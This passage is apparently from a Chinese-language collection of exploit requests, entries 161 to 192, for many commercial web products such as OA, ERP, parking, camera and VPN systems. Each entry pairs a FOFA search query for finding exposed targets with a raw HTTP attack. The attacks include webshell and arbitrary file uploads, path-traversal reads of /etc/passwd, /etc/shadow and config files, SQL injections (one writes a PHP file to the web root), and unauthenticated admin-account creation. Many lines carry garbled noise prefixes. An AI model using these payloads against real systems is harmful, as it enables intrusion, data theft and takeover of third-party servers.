. }. [& l: y, I$ l. q% w& P! IAccept-Language: en
Accept-Encoding: gzip
2 B+ ~5 ]& Z7 ]

7 c, F% O8 M- v2 d161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
1 n: ^% R# j6 C) \/ J! ?. x" o% G: O4 XPOST /Webservice.asmx HTTP/1.1
8 j( v7 j2 D* m( UHost: x.x.x.x
) l; w  d& t- L7 d9 u" KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
( x+ x! `9 h: _$ sConnection: close
Content-Length: 445
4 @9 c/ g) }1 M# i* s/ hContent-Type: text/xml
- o- E  i. e) Y/ GAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
! y- E3 V: e4 yhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
5 V; k: u2 G8 z) B7 y% W( P<soap:Body>
( \$ a. u0 M' ^6 c* \<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
! X/ P( A! v. I: p# q3 u<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
, _: _; ?- I4 ^<tag>3</tag>
</UploadResume>
</soap:Body>
$ g: ~# v2 K9 T) X7 s* r& s3 c</soap:Envelope>


/ `1 ~# C8 i: t( o7 r  [: @' Ihttp://x.x.x.x/dizxdell.aspx

* z" f# G1 h+ G3 d162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
' a0 v- B! u: c. \$ L4 J( i" L$ ^FOFA: app="和丰山海-数字标牌"
+ D! A7 N0 [/ F6 s0 o( f! y" e. Q6 a- PPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
0 Z0 f0 F0 P7 M8 P% @# lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
% m; E% }( [, |" [7 ]% ^* v  I2 LContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
, t, f  {+ u( Q. O) N3 l
3 @& Q- j1 H9 B5 T. ?. T6 z( V) y------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
$ A" B2 \5 {7 T) L
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
* J. j( x# o- ^. C3 q! z$ AContent-Disposition: form-data; name="responderId"
% X6 @3 L% W0 G; q) l
6 O: c5 J2 p! ?9 y+ A8 a! N9 q6 LResourceNewResponder
8 R" K2 f- {8 [; w, B------WebKitFormBoundaryeegvclmyurlotuey
% F: q3 y& @5 i' Z( xContent-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
! O0 L1 h6 u0 ~& U
& q) P& ?5 t0 Y7 y( t' z
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

" X! B% E: a* f* b( o5 Z/ L163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
9 e% K, |# N8 E: y- Q- L8 l9 ?! J) eConnection: close
8 B% `) S" X7 T4 z# rContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
$ {9 u  G. _- r1 g2 U5 F4 u
0 o( z3 a. b4 ]; t, M+ `------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
5 I4 ?4 u- R& `+ @8 z0 `
: a4 ^+ X! n1 T$ a/ n' T* {1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
: h/ I( ]: L0 E7 O8 y; rContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

7 K* o( e; o3 {rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

7 t+ k7 U" j6 L  h
' K% V4 S( `8 ?! I- b164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
6 b) q3 r" E4 F# K, GFOFA: title="智慧综合管理平台登入"
# f) O8 \3 ]( l1 T$ BPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
8 z( M0 I; d0 r. [" N! @3 FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
7 G! X7 \6 A6 U0 fContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
! m) A. S; Y4 q2 k9 kX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
8 s- f! ]& C) Q/ ]8 I" m3 q+ |; q6 E! t
------dqdaieopnozbkapjacdbdthlvtlyl
$ q/ l8 a7 g9 i. VContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
4 B5 n8 T& o1 m; q# Z5 |5 mContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
1 |% U$ P" d3 ~( |2 Q
$ }# o' ^# \4 l% u% U* r$ C& L
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

9 T! y: p+ ~+ [, r165. OrangeHRM 3.3.3 SQL 注入
) d) a% Y  Z0 T! c0 `6 ACVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
7 `: l5 i8 x" o

, h: ~+ v8 Q# \$ u/ Q166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
: x2 M# j" r# l% fPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
% |) R) H. S" R6 C7 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( i: X, B% y( @8 q4 DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

2 C. h1 i* b* j1 S* _, wMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
9 m2 G* A0 Q7 J5 o: f: T

- N8 f( l! J5 c8 `: P7 Q167. 精益价值管理系统 DownLoad.aspx任意文件读取
- b' z6 `3 G6 p3 x+ w7 I0 GFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
% M7 u% Z3 g/ z* UGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
' H4 B, P- t8 y: F% R! A$ q/ qHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- X' {4 j, D7 Q, ^1 O: R9 P1 x- ZContent-Type: application/x-www-form-urlencoded
, g$ ^6 K' h" |! Y3 KAccept-Encoding: gzip, deflate
Accept: */*
- ?# `0 V7 g+ `Connection: keep-alive
- _. L/ N! p, }. }: G* k: b- [* R+ d
9 ^  G; S2 d2 w4 O5 z% ]2 ?
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close



+ ]! a- J- @8 G7 d5 o169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
* x( U% r' j, r% KHost: your-ip
+ `& Q0 `5 b4 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
' G7 }8 y4 S% EConnection: close


' O+ K) o1 A/ O3 y; m
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
/ X2 d7 L( ^' [7 L( H& s% c% d3 pFOFA：body="/general/sys/hjaxmanage.js"
- m' d% x4 c/ a2 y, v. YPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* m' J- G+ [2 z' X: p- o+ L5 v
filename=../webapps/ROOT/WEB-INF/web.xml

% r9 s8 @) ^: I" F; X8 i% h
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
0 o! i. ~0 e+ N  b2 d/ WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
/ C8 d# M% Q5 K- R! F* KAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 ^  S3 q5 q4 {( D, cAccept-Encoding: gzip, deflate
Connection: close

! o7 @5 g. f! T0 O! S  Y4 |
6 B! D; D6 J9 ~
! }, p7 [0 p* a8 X* z6 f9 |/ u172. DT-高清车牌识别摄像机任意文件读取
2 p% [; @5 U2 _FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* d# K+ l9 E1 K7 ^, {" _% OAccept-Encoding: gzip, deflate
* X4 f6 y4 p! a3 E1 ]Accept: */*
( b9 C1 Z. q8 K8 _+ l! [! H7 {Connection: keep-alive

, q: \4 _% F: n; M1 e% x

173. Check Point 安全网关任意文件读取
9 m4 E: T, I) c  o+ |CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
7 j5 p! y+ ~5 Q' cPOST /clients/MyCRL HTTP/1.1
2 ?7 i- V1 ?/ q8 F9 u9 z7 q: uHost: your-ip
/ i" G9 P5 k/ ^; k) K5 EContent-Type: application/x-www-form-urlencoded
0 ]$ Z1 L; r7 z
aCSHELL/../../../../../../../etc/shadow
" C/ ^% _1 ~0 @# M
+ ~  \8 E9 t1 [+ [8 z: H5 m: P

) g# D' x6 `6 H, r; B3 J174. 金和OA C6 FileDownLoad.aspx 任意文件读取
- h. y* f- q8 _! K8 U6 MFOFA：app="金和网络-金和OA"
7 R5 J  s2 j1 H* j- H3 a' U( OGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
8 {3 Z! d7 Z( D7 |1 S1 kHost: your-ip
: a1 x/ o: ^- [+ t- ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 K4 u/ L0 X& U8 wAccept-Encoding: gzip, deflate, br
+ c, K  k2 \: VAccept-Language: zh-CN,zh;q=0.9
2 ~/ C# `& k' |" x9 YConnection: close
7 J4 X, w" F; G2 `) Y

& Z1 l+ @/ k. Q; S" c9 n$ b
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
3 u9 ~' |3 @3 Q8 d( H3 _FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
& u. ?4 o8 e& B  h3 r( ZHost:
8 [+ d7 r2 v4 ~! I* rUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 n5 v1 t1 a" \Accept-Encoding: gzip, deflate
8 X& K( v% d, fConnection: close
5 x( ~; Z  [0 H* t' p: S/ nUpgrade-Insecure-Requests: 1
! M, O0 X3 C5 H$ y4 l( {

176. 电信网关配置管理系统 rewrite.php 文件上传
5 W; [$ [; t: a) WFOFA：body="img/login_bg3.png" && body="系统登录"
7 C- |& }2 ~3 K1 J. p: f+ O. mPOST /manager/teletext/material/rewrite.php HTTP/1.1
1 X6 L& m% U' `4 W5 fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& k! x9 n$ Y+ T% W; ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
% A: X, H; U; n) ?' r+ wConnection: close

, C/ h0 i! u1 U( _; }7 Q* u$ \2 x------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
3 [0 {! Z1 _  R3 S
+ m* R0 \/ z, l" U0 i<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
5 u2 a% F' g) _% AContent-Disposition: form-data; name="uploadtime"

* ]/ L. B) I# ]0 Z! \3 O
------WebKitFormBoundaryOKldnDPT--
& ]& t* w' p3 X
7 e- M& N# z, J9 M$ I0 e
4 u& ?* Q* [; q" q* q) V6 k
' G0 f% h( {' |# e6 s3 T177. H3C路由器敏感信息泄露
/ z0 ~1 A" r7 P8 |1 z- `6 t9 V/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
' p. H* X) ^+ K3 S) D7 F( E. Q/userLogin.asp/../actionpolicy_status/../GR8300.cfg
' |4 {$ D' O& r/userLogin.asp/../actionpolicy_status/../GR5200.cfg
4 u. P4 c/ `9 s' w& B/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
) U5 P1 F7 Y: Z. v  G' l/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
0 {  T& d) G# c6 s) J, x/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
7 v0 r  @+ `9 u/ f, _2 Q' U/userLogin.asp/../actionpolicy_status/../ER5100.cfg
" L' I0 T: z/ H. p/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
4 N/ D; s  P( v' x2 b/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
$ a9 ?% m1 o2 n3 [. ^/ d4 Z/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
+ y  z/ L" [) u! f: r% R/userLogin.asp/../actionpolicy_status/../ER3100.cfg
9 M$ y0 g& g+ `% u9 Y+ [/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

$ Q/ V" B; \- K% S6 h3 j# K( h
  q+ ~. B. h2 c3 x; x) k9 v* b, X: @178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
# n% Z: }" d1 L; u  _2 _$ Z* [Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
: ^5 d, F4 G- }$ I8 Q( d1 cAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
3 X5 G) S3 C/ M5 N$ A-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--
) d6 J  }* ]4 `
/ h/ }, ]2 \# |
7 _. i7 s7 Q8 F# _$ u1 h1 JGET /imc/primepush/%2e%2e/flex/12234.txt


7 `' Q' A! e7 \  p; u; x) N179. 建文工程管理系统存在任意文件读取
( [$ e9 U* l7 b. p5 X$ OPOST /Common/DownLoad2.aspx HTTP/1.1
7 P- n8 s$ f: n9 I6 n0 q$ W/ ?% |Host: {{Hostname}}
  `! q3 A1 |5 L8 G6 C* X3 QContent-Type: application/x-www-form-urlencoded
" ?6 h7 D% Y9 d8 zUser-Agent: Mozilla/5.0

path=../log4net.config&Name=
" e0 w1 }8 B9 R% ^% D$ U+ g7 r
4 d: w8 {1 v% M+ W. R
180. 帮管客 CRM jiliyu SQL注入
  I; M1 j" f" |4 A. O- CFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
" H9 @5 B2 A7 [; aHost: your-ip
6 r  Y9 ], N/ J) r5 k) l' x1 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
& {1 e. j4 Z* wAccept-Language: zh-CN,zh;q=0.9
Connection: close

3 V" a& s/ F  R9 o0 j! @+ p7 k
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
- W& B1 {  I+ X! K2 p1 _; sFOFA："PDCA/js/_publicCom.js"
1 E2 ^7 @+ d2 ^POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
' H* A' O+ \  y5 X7 Y; Q  l0 sHost: your-ip
- v- x" y, g) Z: u2 ~# B. y8 H. wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 h9 S+ |! \. ?1 `. r7 F/ i; JAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
) E& q* }; M! O9 h/ i  O. C  vConnection: close
0 s( N' E. v! k0 }: lContent-Type: application/x-www-form-urlencoded
9 i- w$ y$ s# d
; y- g) I7 e! z' R. J' X1 {  R
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
5 j) a, @4 P: \+ \

182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
/ A: }( z8 _* b; R7 p3 FFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
% \5 R! K9 M% WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
0 U2 e3 q4 I0 ~0 Q' q' S4 XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! b' P; `$ {! d$ h; @; uAccept-Encoding: gzip, deflate, br
- v5 A, g$ M. x* K; W0 aAccept-Language: zh-CN,zh;q=0.9
& V, Z$ N' X- a8 AConnection: close
! Z  Z% ~1 f5 @: OContent-Type: application/x-www-form-urlencoded
. X; i. ]! i5 K& \

# X6 o- ^0 q$ ?) D- kusername=test1234&pwd=test1234&savedays=1
9 V. ?8 C7 A* E% |! h; f* x. |1 v
' v1 J- I& k3 ^+ V5 H
5 ~$ d5 y6 l* J* c5 H183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
0 A, c: X! g3 T! qFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
0 y* A1 f3 w6 g: X. j& w) z9 I* oGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
; J; w5 j: W9 EHost: your-ip
- C/ B+ S4 @. g- Q7 g0 w2 E8 tUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
1 z# ?/ h  O$ P1 l" J9 x/ _Accept-Charset: utf-8
; t! }1 K+ ]8 o% B: EAccept-Encoding: gzip, deflate
0 C- b  l' Y# ~( EConnection: close
8 m( b8 r$ g' W( h$ |
8 E! U( h6 m. P  _
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
8 r. o7 o2 _* H6 L8 m& K% L& fAccept-Encoding: gzip, deflate
' y) D2 G, ]- k% O+ jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


6 T5 Y- J' s# a" x: K" c3 Minsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
8 Q7 W6 b  {) Q3 ?

185. 瑞友天翼应用虚拟化系统SQL注入
* Z5 [+ d! |# I3 v. s, Qversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
# c& O# W! ?% ~  e9 J2 F- y
0 d1 a, }8 h1 i& c# A
186. F-logic DataCube3 SQL注入
5 v, }6 b* m1 I* |7 [. o) HCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
: X; ]. m# |. `. p2 {9 G4 aFOFA：title=="DataCube3"
. d- x4 U3 V, J2 P4 J' uPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
* W2 B7 t5 @9 e% RHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 j+ b. o( |4 ^  `* I# ~Connection: close
Content-Type: application/x-www-form-urlencoded
6 h- x2 A1 m7 k7 e7 u$ d8 Q( l
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


' c1 T. u! q) I& |2 ^) P8 f7 l2 Y187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded


6 H2 p$ j# v8 J# B; P4 m. v- sobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

# d) z5 L  P; v3 W" z( j: M
188. 叁体-佳会视频会议 attachment 任意文件读取
0 [/ G6 P/ B2 L9 Gversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
3 ]" F/ Q2 p5 ~! o! ?  I  \GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; ^  k- y; G2 u' l% X7 hAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

+ o0 n! X+ F% d- |
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
% a6 m, O; c- M+ a9 E0 zFOFA：app="LANWON-临床浏览系统"
: D" R; j; k& L) a  ]GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
, B" K9 V$ O( }* DUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 |1 t+ b4 R5 p3 D4 N% RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 G  Y/ w) E/ U7 z  U" a; H

4 ]' `( ^% s' O190. 短视频矩阵营销系统 poihuoqu 任意文件读取
# D5 y" L3 M5 Z3 E( |9 B+ `FOFA：title=="短视频矩阵营销系统"
$ g. ^& d! b: P: u% u, y; @POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
& u* f( n% I; y2 E2 LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* U2 ~; S5 r+ b# b6 E
poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
" w$ p8 K. O. |, j1 B9 p$ U9 wFOFA：body="/CDGServer3/index.jsp"
: A2 U8 [% N" S# ^POST /CDGServer3/js/../NavigationAjax HTTP/1.1
$ z2 w% \' E" p% O' oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" ^. R) G" r. n5 R6 C0 B: x' OContent-Type: application/x-www-form-urlencoded

" }$ [7 a6 @0 {& G# Fcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
" X4 S5 M2 D9 T# a* b& J4 k" X

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
% N$ e% K3 z  i0 V. ^Content-Type: application/x-www-form-urlencoded
